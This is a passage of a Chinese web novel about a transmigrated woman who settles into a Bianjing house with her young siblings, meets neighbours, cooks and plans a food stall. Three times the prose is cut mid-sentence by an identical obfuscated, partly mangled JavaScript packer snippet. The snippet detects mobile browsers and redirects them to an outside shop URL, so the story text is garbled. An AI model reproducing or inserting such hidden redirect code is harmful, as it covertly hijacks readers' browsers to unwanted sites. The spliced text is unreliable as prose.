柳朝云冷笑一声,往阳哥儿手里塞了五十文钱。阳哥儿回身劈头盖脸地砸到刘文清和刘婆子身上,“呸”了一声,深觉自己出了口恶气。 刘婆子气得跳脚,想要追过去打几下又心疼地上的钱,忙低着头一枚一枚捡起来。 驴车平稳地驶出巷子,暖洋洋的晨光洒在姐弟三人身上,柳朝云深吸一口气,笑盈盈道:“月姐儿阳哥儿,我们回家喽!” “回家喽!” 4. 肉沫豆腐 拉驴车的小哥儿姓钱,在家行二,人都叫他钱二哥。 柳家买的屋子在外城的甜水巷,距离不远不近,驴车拉一趟约莫三十文。 柳朝云想着,那屋子许久没住过人,必定要打扫一番,另外还要买些米面粮油、锅碗瓢盆、茶杯碗碟、笤帚簸箕等许多生活用品,不如多给钱二哥十五文钱,在坊市里转一圈,把东西买齐放在驴车上一道拉过去。 柳朝云将早上烙好的葱油饼递过去,笑道:“钱二哥,你这么一大早就拉车出来等活计,想必还未用朝食吧,吃几口饼子垫垫肚子。” 钱二哥也不推辞,笑着接过来咬了一口,越嚼眉头扬得越高,忍不住翘起大拇指:“小娘子的手艺真不错,我看比曹婆婆饼店的还要香些。”他吃了一张饼缓了饿劲,不舍得全部吃完,就将剩下的揣进了怀里,预备慢慢吃。 柳朝云顺势将想法告诉了他,钱二哥本就是个实诚人,又常在街上打转,知道在哪买这些东西便宜结实又好用,带柳朝云转一圈也不费事,于是爽快的答应了。有了他的帮忙,柳朝云都不用砍价,省了不少力气。 买完生活用品后,柳朝云进了米店,钱二哥将驴车停在外头。 米店里的米分上中下三等,上等八十文一斗,中等五十文一斗,下等三十文一斗,柳朝云略看了看,见下等米多是碎的,还掺了不少稻壳,于是便选了中等米。麦子二十文一斗,磨好的白面贵一些,三十文一斗。这里的一斗大约相当于现代的十二斤,柳朝云买了五斗中等米和五斗白面,给了伙计两个钱,请他帮忙装好抬到驴车上。 她出来时,见钱二哥身边站着一位须发半白的老者,老者身后跟着一位青年,两人穿着打扮皆是不俗,各牵着一匹毛色油亮的马,不像是来雇车的客人。 钱二哥看见柳朝云,眼睛登时一亮:“喏,这饼就是那位小娘子做的。” 一边说一边对着柳朝云招手:“柳娘子,你这葱油饼太香,这位老丈想买几张,可惜我已吃了大半了,又是你送的,倒不好予他,不知你那里有没有多的了?” 柳朝云一愣,道:“没有了。”随即话锋一转:“但我过几天会在街上摆个早食摊,到时多留几张送给老丈,也请老丈照顾照顾生意。” 老者心想这小娘子倒是会做生意,看她的样子摊子还没影哩,就想着拉客人了。不过那葱油饼的香气着实诱人,想来她的手艺不差,他又自来喜啖美食,于是捋着胡子笑眯眯道:“也好,那老朽就等着娘子开张了。” 说着拍了拍身旁青年的肩膀:“济之啊,到时你也来尝尝。” 柳朝云脱口而出:“也给这位郎君打折。” 对方身量极高,脊背挺直如出鞘之剑,蜂腰猿背,面容英气俊朗,一双星子般好看的双眸也恰好在看着她,柳朝云怔了一瞬,微笑着朝他点了点头便上车走了。 她不知道的是,面前这位和蔼可亲的老者就是大名鼎鼎的魏国公段沛,身旁那位是他的义子柏舟。 两人翻身上马,段沛对柏舟道:“你这次挫了楚王的锐气,虽被他找茬贬作军巡使,倒不算坏事,一来避避锋芒,二来你这脸盲不认人的毛病也该治治了,否则将来如何娶新妇?刚才那位小娘子可看清了?她要摆食摊,到时你去吃饭可千万别跑错了!” 路上的这一段虽是个小插曲,但柳朝云趁机请教:“钱二哥您懂得多,不知在这汴京城里开食摊可有什么需要注意的?” 钱二哥一边驾车一边说:“城里各行各业都有行会,若要经营,不光要去街道司,还需先去行会缴纳一笔‘免行钱’,柳娘子若是没有熟人,可找个牙侩帮忙牵线。不过大可放心,你的摊子小,收的银钱并不会很多,交钱后会发你一面木质的牙牌,你将牙牌挂起便不会有无赖敢来欺负你。” 柳朝云点了点头,懂了,保护费。花点钱就能保平安,也挺好。 钱二哥憨笑着说:“柳娘子手艺好,食摊必会生意兴隆。” 月姐儿前面都听得糊里糊涂,听到这里时连忙搂着阿姊的腰肢小鸡啄米似的直点头。 柳朝云笑道:“借您吉言了。” 钱二哥今天帮了她很多,柳朝云有心感谢,想到他们这些拉车的多是等在各个街巷口揽客,心内一动,道:“钱二哥可想过跑固定路线?” 钱二哥微愣:“固定路线?何意?” 柳朝云解释道:“比如这外城,从一处到另一处中间会路过不少巷子,每条巷子都有人要用车,你设置好起点、终点和中间经停处,上车按人收一文或两文。若是客人行李多些,便可像现在这样包车送到门口,这样总比干等着挣钱多些。” 柳朝云说的其实就是古代版的“公交车”和“出租车”。 钱二哥一边听一边在心里算账,他这辆车若是全都坐满,估计可坐二十来个人,中间上上下下地跑一趟,总能坐上三十到四十人,按照路程远近一人收一文或两文,跑一趟也能收六十文。一天至少能跑个七八趟,稳定不说,还能多挣上不少。 他心头火热,声音也有些激动:“这法子好!回头我就去找团头商量,多定些路线和兄弟们一起跑,若成了必定来照顾娘子你的生意。” 柳朝云见他懂了,笑答:“好说好说。” 一面说着一面到了甜水巷,柳朝云报出屋契上的地址,掏出钥匙打开已经生锈的铁锁,钱二哥将箱笼和其余东西搬到院子里,看着满院子的杂草挠了挠头:“你们可有的收拾了。” 柳朝云无奈地笑了笑,将钱结给他:“多谢钱二哥,东西还未归置就不留你喝水了。” 人走后,姐弟三人你看看我,我看看你,十分默契地撸起袖子开始打扫。 汴京城的房子不便宜,原身父母购置的这座带院子的屋舍将近五百贯,当然这是外城房舍的价格,若是放在内城,同样的房子,价格至少翻四倍。这里一共四个房间,一个厨房,可喜的是,院子中央有一口井,不用跑到巷子口的公用方井里打水。不过因很久没人住,井早就干涸了,井底全是淤泥,还要找人来通一通才可出水。 拔完杂草后,三人额角都渗出了一丝汗,脸红通通的,虽然累,但很有干劲。 柳朝云将杂草归拢在一处,准备晒干了之后拿去灶下引火,忽然听到敲门声。 月姐儿跑过去将门拉开,见是一位穿着青色褙子的爽利妇人,她手里端着一大杯擂茶,里面放了炒熟的茶叶芽、捣碎的芝麻花生和炒熟的面粉。她并不进门,而是站在门口弯腰递到月姐儿面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341503|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月姐儿看了看柳朝云,见她不反对才接了下来,弯着唇角道了声谢。她拿了之后也并不喝,而是先递给柳朝云。 柳朝云摸摸她的头,柔声道:“你和阳哥儿分喝吧。” 月姐儿摇摇头,非要柳朝云先喝一口。 “这姐儿可真乖,比我们家那上蹿下跳的猢狲贴心多了。”妇人止不住地夸赞,“我就住在隔壁,娘家姓周,夫家姓吴。” 柳朝云叫她:“周嫂子。” 周嫂子笑着应了。 她家情况和柳家差不多,上有一位婆母,年轻时是一位绣娘,如今眼睛坏了,只能偶尔绣些小物件拿去寄卖。下有一个和阳哥儿差不多年岁的儿子,丈夫和原身父母一样得了时疫去世了。她婆母是个开明的,不要周嫂子守寡,儿子、嫁妆许她一起带走。但周嫂子敬重婆母,又和丈夫感情好,所以并不愿再嫁,索性将婆母当做亲娘。周嫂子白日在家操持家务,晚上去各个脚店做焌糟娘子。娘儿三个相依为命,日子过得不好不坏。 两人寒暄一番,周嫂子又向她介绍了一番周围的邻居。 “最前面一家姓鲁,他家祖孙三代都是木匠,你若是想做什么东西可以去找鲁大。那边人家姓高,家里是卖油的,那一户姓常,家里开着铁器铺,那边人家姓李......” 说到最后一户,也是柳家的另一边的隔壁,周嫂子压低声音:“这家新搬来个官爷哩,他一来,这边的小偷小摸都少了。” 这是好事,柳朝云和她一起笑了:“多谢嫂子告诉我这些。” 周嫂子笑着摆了摆手:“都是邻居客气什么。”见她还有事要忙,便不再打扰回家去了。 柳朝云去巷子口拎了几桶水,将厨房先收拾出来,放上木柴和新买的铁锅。眼看快要到晌午,她淘了两碗米放在陶瓮中用炭炉闷着,自己挎着篮子出去买菜。 月姐儿有些黏她,要跟着一起去,于是便留下阳哥儿看家。 柳朝云先去肉铺挑了一块猪腿肉,将近一斤重,花了八十五文,又去菜摊挑了一捆豆角、一颗白菘和一颗南瓜,花了十二文钱,两文钱买了葱姜蒜。回来时正巧碰到苗娘子的豆腐摊,苗娘子已经知道早上刘婆子又为难她的事,咬牙道:“我出摊早不在家,不然非给她个没脸!” 说着要送给她两块豆腐,柳朝云想着她卖豆腐挣的都是辛苦钱,不愿要,两人各退一步,苗娘子收下了她一半的钱。 回到家后,米饭已焖得差不多了。柳朝云将猪腿肉洗净血水切成小块,然后剁成细茸后分成两份。 一份煸出油脂,倒入蒜粒爆香,再加上酱油、盐炒成咸香的肉酱,再加入切成方块的豆腐翻炒,细碎的肉粒包裹着颤巍巍的豆腐。她将周嫂子家的碗洗干净后拨了一份肉末豆腐让月姐儿送还了回去。另一份肉茸加入葱姜水搅上劲团成小丸子,加入切成细丝的白菘煮成一锅汤,再加一盘碧绿的清炒豆角,晌午饭便好了。 月姐儿将豆腐捣碎和肉酱一起拌着米饭,柳朝云和阳哥儿则是一口肉末豆腐一口米饭,一人一碗汤,两个肉丸子,丸子入口即化,白菘清甜,豆角脆嫩。三人一气儿将饭菜和米饭吃了个精光。 月姐儿肚子饱了,嘴巴还意犹未尽:“真好吃。”阳哥儿也跟着点头。 5. 逛夜市去 吃完饭后,三人又开始收拾。 屋子里的灰尘比较多,柳朝云怕两个小孩子被呛到,从箱子中取出两块干净的布,叠成三角捂住他们的口鼻系在脑后。 晚上要住的房间需先收拾出来,柳朝云用抹布擦灰、月姐儿和阳哥儿一人一把笤帚扫地。幸运的是先前住在这里的人将床留了下来,虽然落了一层厚厚的灰,但擦干净后还能用,至少晚上不用睡地板了。 柳朝云来来回回去巷子口提了十几趟水,腰都快累折了。她觉得这样不行,还是先把院子里的井先弄好才行,否则光是每日日常用水她就吃不消。巷外不远处有做杂活的零工三五聚集在一起,她告知两个孩子一声,便出去找人来掏井,顺便给厨房里多砌一个灶眼。 因上午有钱二哥介绍,柳朝云对应该开多少工钱大致有些谱,再加上她说话颇有条理,那些人也不敢欺她面生漫天要价。她家的活儿不多,两个人一下午就能干完,柳朝云给他们一人一百二十文钱,不包晚饭,其中二十文算是饭钱。 领着人进巷子时,门口多了几个围坐在一起摘菜的妇人,她们上午听到声音虽没有出来,但已经知道柳朝云是新搬过来的,都有些好奇地打量她。 柳朝云上辈子就是开餐馆的,根本不怕人看,一口一个嫂子婶子喊得甜,她们也一一应了。其中一个身形有些丰腴的妇人,眼睛滴溜溜地在两个杂工身上打转,不知在寻思什么。 到家门口时,杂工也不用柳朝云吩咐,放好工具后配合着便下了井开始干活。柳朝云发现隔壁关闭的屋门竟打开了,出于对邻居的好奇,她顿住脚探头往里看了一眼,却不妨里面正有人出来。 看见对方的脸时,两人均是一怔。 柳朝云暗道一声好巧,住在她隔壁的官爷竟然见过,就是早晨在街上偶遇的那位老丈身边的男人。 柏舟则是惊讶,他自小便脸盲不大识人,每个人的脸在他脑海中几乎都长得差不多,他一般都是靠声音或穿着辨人。但也许是初次见面时就被眼前这位小娘子出门携菜刀的英姿吸引,他倒是一下子就认出了她。 柳朝云寻思着这位不仅是她将来的潜在客户,还是一条颇粗的大腿,于是笑道:“没想到竟与郎君是邻居呢,我姓柳,往后与弟妹一道住在这里,还请郎君多多照应。” 柏舟垂下双眸,轻轻颔首。 柳朝云见状,识趣不再多言,回家包上发髻继续收拾屋舍。 井底掏上来的淤泥她让人堆在墙角,准备闲时在院子一侧开出菜地,这些淤泥里含有丰富的有机质,和泥土拌在一起种菜再好不过了。 砌灶眼时,柳朝云特意让他们在中间留出两个一掌宽、正好能放下两个陶瓮的圆形空隙,这样炒菜烧饭时顺便能一起烧两壶水,虽不好入口饮用,但用来洗锅洗碗还是可以的,天冷的时候也不会冻手。 几个人忙忙碌碌一整个下午,终是打扫的差不多,柳朝云爽快的结了工钱,在屋内四周撒上生石灰和驱虫粉,又拿艾草熏了一遍,才从箱笼里取出被褥铺在床上。 天色渐晚,柳朝云将跟着她累了一天的月姐儿和阳哥儿赶到房间里休息,自己在厨房准备晚饭。 她将南瓜切开一半削皮切成小块,加水和米煮成一锅南瓜粥,又将南瓜子洗干净晾在外面。 白天买的白菘还剩一半,她烫过之后拿醋和酱油拌了,用来佐粥。 等到南瓜轻轻用勺子一碰就散开来时,米粒也熬的开花,粥体表面浮着一层金色的米油,柳朝云轻轻搅了搅,便熄了炭炉,去叫两个孩子吃饭。 月姐儿有些瞌睡,闭着眼睛任阳哥儿在前面拉着走,直到南瓜粥香甜的味道钻入鼻子时才舍得睁开。 柳朝云觉得她这个样子十分可爱,笑着点了点她的鼻子:“快吃,吃完我们去夜市逛逛。” 月姐儿欢呼一声,立马精神了,端起碗迫不及待地捧着粥吹凉往嘴里送。 粥一入口无需咀嚼就化在嘴里,舌尖返上南瓜特有的香甜,再配上咸酸脆爽的凉拌白菘,喝完一口后四肢百骸都舒服了起来。 阳哥儿心里想得更多些,他隐约知道今天一天花了不少钱,不免对未来生出担忧,便不肯去夜市,于是道:“阿姊带月姐儿去吧,我留下看家。” 柳朝云往他碗里加了半勺粥:“不行,一起去。阿姊要开食摊,总要看看人们都爱吃什么才好赚钱呀,阳哥儿你脑子转得快,帮阿姊参谋参谋。” 月姐儿从粥碗里抬起头,嘴边染着一层金黄,举着勺子抗议:“我的脑子也不比阳哥儿慢!” 柳朝云笑着给她擦了擦嘴,安抚道:“是是是,月姐儿也是个聪明的小娘子。” 月姐儿得意地晃了晃腿,在桌下踢了阳哥儿一下:“去吧去吧,一个人在家多没意思。” 阳哥儿被踢了也不生气,反而弯起嘴角开心地“嗯”了一声。 本朝废除了宵禁制度,汴京市民的夜生活十分丰富,连柳朝云这个现代灵魂都看得目不暇接、连连喟叹,感觉自己就像是初进大观园的刘姥姥。 龙津桥上人头攒动,姐弟三个过了桥,从南至北一路往里逛去。 才刚入夜,整条州桥夜市就已被灯笼照得亮如白昼。街边两侧,有卖水饭、细料馉饳儿、带馅馒头的,也有旋煎羊白肠、旋炙五花肉、盘兔、肚肺、鸡皮和各色肉脯的,还有梅子姜、金丝党梅等蜜饯果干,光是小吃就有数百种。 三人刚吃过夜饭,肚内并不饿,于是柳朝云买了三杯卤梅水,边走边喝。 月姐儿只当自己是来玩的,兴奋得小脸通红。阳哥儿眉头微蹙,看看这家店,又看看那家店,艰难地在心中做着比较,认真的思考阿姊究竟卖什么比较好。 柳朝云逛了一圈,心里大致有了想法。她发现古人对于内脏的接受度还挺高的,比如旋煎羊白肠就十分受欢迎,除此之外还有肚肺、腰肾杂碎、灌肠、煎肝脏、猪胰胡饼等等。于是她想到了一样南京的著名小吃——鸭血粉丝汤。 此时的粉丝又叫蚕丝饭,是用绿豆淀粉或米粉制作而成的,不光有白色,还有被染成红绿黑黄的。 天气越来越冷了,人人都想早上吃点热乎的,滚烫鲜香的鸭血粉丝汤再配上香喷喷的鸭油胡饼,给个神仙都不换。 一直在纠结的阳哥儿听得眼睛闪闪发光,他知道这个阿姊手艺颇好,虽然他从未听说过鸭血和蚕丝饭一起煮的汤羹,但既然她说好吃那么味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341504|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道就一定不会差,顺便不忘补充:“还有葱油饼,也一起卖。” 柳朝云假装讶异:“阳哥儿记性果真好,阿姊差点儿忘了已答应了那位老丈了呢,多亏有你,不然阿姊岂不刚开张就在客人面前失信。” 阳哥儿小脸微红,双手背在身后微微低着头,有些不好意思。 月姐儿嘻嘻一笑,拍了他一下,两个人边走边绕着柳朝云跑前跑后玩耍打闹。 看着阳哥儿脸上总算露出属于他这个年龄段孩子的笑容,柳朝云缓缓舒出一口气。 三人累了一整天,回家洗漱完刚躺在床上就沉沉睡了过去,柳朝云直到第二日日上三竿才醒,她烙了一叠松软的鸡蛋饼温在锅里,见两个孩子还没醒,便先去了巷子口鲁大家。 鲁大家的院子足有自家的两倍大,一边堆着足有墙高的刨木花,另一边则错落摆放着已经做好的桌椅板凳等物。 鲁大家的娘子昨日和她打过招呼,迎了上来:“柳娘子需要些什么?” 柳朝云目光从院中扫过,问道:“不知桌椅板凳是个什么价?” 如今家里除了床之外,几乎什么家具都无,连吃饭都只能在厨房站着吃,十分不便。 鲁娘子是个实诚人,说道:“这分雕花和不雕花的,不雕花的便宜些,一张桌子一百五十文,长凳四十文,短凳二十文,若是雕花的,则还要看花纹繁复与否,贵的几贯钱,便宜的五六百文。” 柳朝云指了指,问道:“这些便是不雕花的吗?” 鲁娘子应“是。” 柳朝云走过去瞧了瞧,见桌面打磨的十分平滑,不见一点毛刺,轻摇桌子也不见晃动,可见其十分牢固,价格也实在。她现在手头上银钱不多,要省着点花用,于是便要了三张桌子,四条长凳,八条短凳,都是普通不雕花的,外加四只竹编的蒸屉,一共八百一十文,鲁娘子免去了零头,收了她八百文。这些都是现成的,两家离得近,又是邻居,鲁娘子索性让两个学徒直接送去她家。 柳朝云连忙道谢,又问:“不知是否可以定做?我预备在街上开个食摊,因东西不少,我力气有限,想定做一辆推车。” 鲁娘子朝内喊了一声,然后对柳朝云说:“你想做什么样的只管跟我家官人说。” 鲁大长得十分壮实,虽然人寡言了些,但于木匠活上十分精通,柳朝云只描述了一遍自己的需求之后,他就点头:“能做。” 他在心里估了估木料和工费,比了下手指:“需九百文。” 鲁娘子推了他一下:“柳娘子孤身一人带着一双弟妹过活,日子不好过呢,便宜五十文吧。” 鲁大没有反驳,点头应了。 不用多费口舌,还省了五十文钱,柳朝云心内感激不尽,对着鲁娘子谢了又谢。 鲁娘子一摆手:“都是街坊邻居,谁还没有困难的时候,不值什么。我素来喜欢自立的小娘子,咱们以后常来常往才好。” 两人亲切地说着话,鲁大递过来一张契书,柳朝云从头浏览了一遍,见上面清楚简洁地写着推车的样式、木料、工费、工期,没有错漏处,便签下了名字,交了定金三百文,鲁大给她半块刻着花纹的木牌,约定三天后来取。 6. 脆皮五花肉 回到家时,兄妹两个正围着新的桌椅板凳一脸新奇的打转。柳朝云将一张桌子搬去阳哥儿房间,一张移到自己和月姐儿的房间,一张放在堂屋。 三人就坐在堂屋的桌前吃早饭,忽然听见门口有小娃的叫声。 月姐儿手上抓着鸡蛋饼脚步蹬蹬地往外跑,嗓音清脆:“你是谁?来我家干嘛?” 金黄的鸡蛋饼散发出丝丝缕缕的香味,小娃眼睛死死盯着月姐儿手里的东西,下意识咽了口口水:“我娘让我来你家打水。” 月姐儿单手叉腰,一脸奇怪地问道:“你们打水不是应该去巷子口的方井吗?来我们家做什么?” 小娃不答,口水哒哒地看着她......的手:“这饼肯定很好吃。” 月姐儿有些无语,撕了半块递了过去,小娃接过来便整个塞进嘴里狼吞虎咽起来。 柳朝云怕他噎着,倒了一杯热水递了过去。小娃咕咚咕咚喝了个干净,抬起袖子随意擦了擦嘴,又说:“你家井出水了吗?我家还等着用呢。” 月姐儿立起眉毛,气得不行:“我们家的井凭什么给你用?” 柳朝云暗忖昨日请人来掏井并不是什么稀罕事,说不定整个巷子的人都知道了。这小娃看着也就五六岁,昨日并没有见过,却能找到她家来,还知道她家井里有水,必定是家中大人指使的。 柳朝云也不和孩子计较,弯腰告诉他:“我们家的井昨日才清理干净,如今上面都是污水,用不了呢。” 小娃听了转身就要跑:“那我明天再来。” 柳朝云叫住他:“回去告诉你家大人,这井是我家花钱买的,也是我家花钱请人掏的,若是想图方便来我家打水,一日给五十文。” 阳哥儿挡在门口,绷着小脸颇有气势地看着他:“听见了没有?!” 小娃扁了扁嘴,提着桶一溜烟钻了出去,进了斜对面的门。 不过片刻,昨日在门口拿眼打量她的丰腴妇人便叉着腰骂了出来:“你家的水是金子做的吗?一天收五十文,上辈子是土匪托生的吧!” 月姐儿也学着她的样子叉着腰回道:“嫌贵就别来,我家又没请你!” 妇人竖起眉毛,嘴里正要再骂,隔壁的周嫂子听见声音推门走了出来,讥讽道:“李家的,你家要是穷的揭不开锅了,就让你官人多染两块布多挣几个钱,何必总是叫你家小儿东家西家的占便宜。” 李娘子啐道:“你一个寡妇不好好在家待着,插手别家事作甚!也不嫌害臊!” 周嫂子的婆母眯着眼睛走了出来,帮腔道:“我儿媳一向行得正坐得直,再说我还没死呢,我看是哪个长舌妇在嚼她的舌头根子!” 巷子里几乎人人都探头出来瞧热闹,鲁大家的娘子向来看李娘子不爽,也跟着说了几句。 李娘子见人人都在说她,十分不服,却又势单力孤无人相帮,便哼地一声拍上了门。 柳朝云一肚子的话还没来得及施展,“敌人”就被打跑了,心里顿时涌上一股暖流。不管身处何地、什么朝代,世上总是讲理的人多,不讲理的人少。 周嫂子挽着吴婆婆的胳膊,婆媳二人如母女一般亲近:“昨日的那碗肉末豆腐就是柳娘子做的,可香哩。” 吴婆婆笑哈哈道:“我俩就分到一勺,剩下的都让康哥儿吃掉了,平时一到吃饭点他就跑,昨儿个倒乖。” 月姐儿最喜欢听人夸她阿姊,回去把自己剩下的一块鸡蛋饼贡献出来,塞给吴婆婆的孙子康哥儿手里。 康哥儿闻了闻味道,撕下一块塞进嘴里,又柔软又筋道,还散发着浓浓的蛋香,他一口一口吃个不停,险些连舌头都一并吞下去,气得周嫂子连拍他几下。 吃了月姐儿的饼,康哥儿从口袋里掏出一块饴糖还给她,月姐儿掰开和阳哥儿一人一半。三个年龄相仿的孩子立马就凑着头到一起说话去了。 柳朝云留他二人在家附近玩耍,出去寻牙侩筹备食摊的事。路上遇到一位老妪沿街兜售蜜瓜,她花了二十文钱买了两个提在手里。 张牙侩今日得空,坐在堂前的躺椅上一边翻账本一边吃果子,忽听得门口一声响,知是有客至。 他起身,看见面前梳着妇人发髻、浅笑盈盈朝他福身的柳朝云,怔了怔才道:“是......云娘吧。” 柳朝云笑着叫了一声“张牙侩”,将手中的蜜瓜递了过去。 张牙侩看着她单薄的身子和洗的发白的长褙子,并不接,迎她进门坐下,拣出几盘新果子推到她面前:“怎么今日突然来找我了?可是要把甜水巷的屋舍对外出租?你婆母可知道这事?” 柳家原来的杂货铺买卖皆是他作为中人,柳朝云父母生前又都是厚道人,因此张牙侩与他们都相熟,几乎是看着柳朝云长大的。 前年底汴京城突发时疫,官家下旨让所有患病的百姓都迁到安济坊隔离,他与柳朝云父母恰好相邻。后来他侥幸捡回一条命,柳父柳母却...... 所以他病好后想方设法将柳家杂货铺卖了个高价,给柳朝云姐弟三人置办了甜水巷的屋舍。他消息灵通,知道刘婆子是个难缠的,刘文清又是个不顶用万事不管的酸秀才,柳朝云日子过得颇苦。可他毕竟不是她的生身父母,无权为她做主,若是贸然插手反而会招来闲话,无奈只能暗中将房契和钥匙交到柳朝云手上,并叮嘱她绝对不能让刘婆子得知此事。 柳朝云将蜜瓜放在桌上:“我和离了,现下已带着弟妹搬到了甜水巷。汴京米贵,我剩余的嫁妆不多,所以想摆个食摊挣钱。这里面门道多,我不太懂,所以上门来请您帮个忙。” 张牙侩见她脸上并不自苦,反倒双目晶亮神采奕奕,不由喃喃道:“和离也好,和离也好。” 说完反应过来,皱眉道:“市井中贩卖吃食的人不少,你可想好了?” 柳朝云微微一笑:“张叔放心。” 听到她唤“张叔”,张牙侩仿佛又看见了从前那个青葱少女,见她心里有底,显然是已经打算好了,当即道:“好,你跟我走。” 两人先是去了一家门前设红绿杈子、高悬彩色帘幕的正店,张牙侩与柜台后高坐的中年人拱手寒暄,引了柳朝云过来,道明来意,中年人简单问了她几句,要了一百文的“免行钱”,便有人递给她一张刻着编号的木质牙牌。牙牌正面刻了数字,背面刻了她的姓氏以及摊位的具体地址。 张牙侩解释道:“你的摊子还未开张,故这个月只收这么多,等生意好了,会收的高些。但这钱并不是白交,若有人无故寻衅滋事,你大可请行会里的人帮忙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341505|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳朝云点头记下。 然后张牙侩又带着她往街道司走了一趟,塞了几个钱给办事的勾当,又约着何时喝酒,勾当才给了几张纸指点她一一填好,看了一眼她手上的牙牌,然后登记造册,告知她每日必须清扫干净以及何时交税等注意事项后,便挥手让她走了。 柳朝云一路都在感叹牙侩这个行当还真不是一般人能干的,各行各业的关系都要打点,人家才会卖你脸面。 打点官差的钱不能让张牙侩一人出,她比照市价添了一成要给张牙侩两百文,可张牙侩不论怎么说都不肯收,柳朝云便趁他不注意往柜台处一放,然后提着裙子跑了。 张牙侩关照她是好意,但是她远没到山穷水尽的地步,不该让他吃亏白出力。 张牙侩急着往外追出几步,见实在追不上了方才停下,摇头无奈地笑了,回家后将她送来的蜜瓜切开,哼着小调与家人分食了。 分给柳朝云的摊位离甜水巷不远,她买菜时顺便去看了一眼,不大不小方方正正的一块空地,左边是一对卖炊饼的夫妻,右边是卖糟姜、甜辣萝卜等小菜的妇人,看起来都是和善的性子。 柳朝云办成一件大事,心内大石落下,买了一块肥瘦均匀的五花肉、两捆青菜、一把豆角、一根萝卜、一篮子鸡蛋和半斤糖。回家时又碰到那位卖蜜瓜的老妪,便掏钱又买了一个,两只手占得满满的。 月姐儿早早候在巷子口,一看见她的身影便跑了过来:“阿姊回来了!”一边喊一边伸手去接她手里的东西。 回家时见斜对面的门半开着,早上来她家讨水的小娃正嗦着手指一脸馋相的看着她手中的肉和蜜瓜。 月姐儿还记得他家是如何“恩将仇报”的,虎着小脸挡在阿姊身侧。 小娃转身跑回家门,吵嚷着:“阿娘,我也要吃肉!” 李娘子的声音尖锐地响了起来,伴随着几下拍打声:“吃什么吃!把老娘的肉割给你吃要不要!一群讨债鬼!” 小娃哭声震天。 与柳家一墙之隔的吴婆婆正在太阳底下做针线,听见吵闹声叹了一口气:“不过是一口肉,李家虽孩子多,又不是吃不起,何苦这样打孩子。” 周嫂子翻了个白眼:“还不是那婆娘小气。云娘,你中午可得把门关紧了,不然李家的一串孩子都要过来讨口吃的。” 阳哥儿和月姐儿面面相觑,他们还是第一次听说有这样追到人家占便宜、占不到还要跳脚骂人的人,想起早上的情况,又觉得不是不可能,于是十分默契地一人推一块门板将门阖上了。 柳朝云将五花肉洗掉血水后放入锅中,加入清水和一小勺盐大火煮开,撇去浮沫后盖上盖子转至小火,直到水分煮干,五花肉中的油脂慢慢渗出,肉的表面被煎得金黄酥脆。柳朝云切成小块装盘,夹起两块塞进弟妹的嘴里。 肉的表面焦脆,里面却鲜嫩多汁,月姐儿捧着脸一脸幸福的嚼着,满口都是肉香。阳哥儿虽然吃得闷不吭声,却将柴火烧得更旺。 柳朝云把锅中的猪油盛到罐中,用剩下一个浅浅的底儿快速炒了一盘青菜。 饭菜刚端上桌,三人还没来得及吃,就听见门口几个孩子的声音一阵接着一阵:“月姐儿,阳哥儿,你们家的肉真香啊,分我们几块吧。” 7. 蒸面包 月姐儿耳朵尖,上午她和康哥儿玩耍时,李家几个孩子也凑了过来,她还记得他们的声音。想到这些人前脚刚跟她玩过,后脚就赶着饭点来她家门口哭丧似的讨要肉吃,若不是她和阳哥儿将门关的快,他们岂不是要一股脑儿的全冲进来?因此月姐儿脸上颇为不忿。 阳哥儿也是差不多的想法,蹙着眉不出声。 柳朝云有些哭笑不得,她不想和孩子计较,可是也不愿圣母心泛滥,索性充耳不闻,提起筷子往弟妹碗里各夹了几块肉,道:“吃饭吧,凉了就不脆了。” 月姐儿一听,顿时把那些干打雷不下雨的哭嚎声抛到了九霄云外,专心低头干饭。 与此同时,一墙之隔的康哥儿也端着饭碗坐在墙根底下,边吃边说:“月姐儿阳哥儿柳阿姊,千万不能开门,他们是专门冲着你家的肉来的,小心全被他们给吃光了。上次我阿娘烧得那么难吃,他们都还抢呢。” 话音刚落,康哥儿头上就挨了一个爆栗子,周嫂子叉着腰往他碗里加了满满一勺菜,没好气道:“难吃也得给我吃光,一粒米都不许剩,不然就没收你的零嘴。” 康哥儿瘪着嘴,为了保住零嘴只好埋头苦吃。 两家人听罢都笑了。笑声传到门外,外面的哭嚎声先是顿了顿,后又响的更大声:“我们要吃肉、吃肉!我们都哭成这样了,柳家阿姊不给我们肉吃!太狠心啦啊啊啊!”几个年纪小的孩子甚至边嚎边在地上转着圈打滚,衣服上蹭满了灰尘。 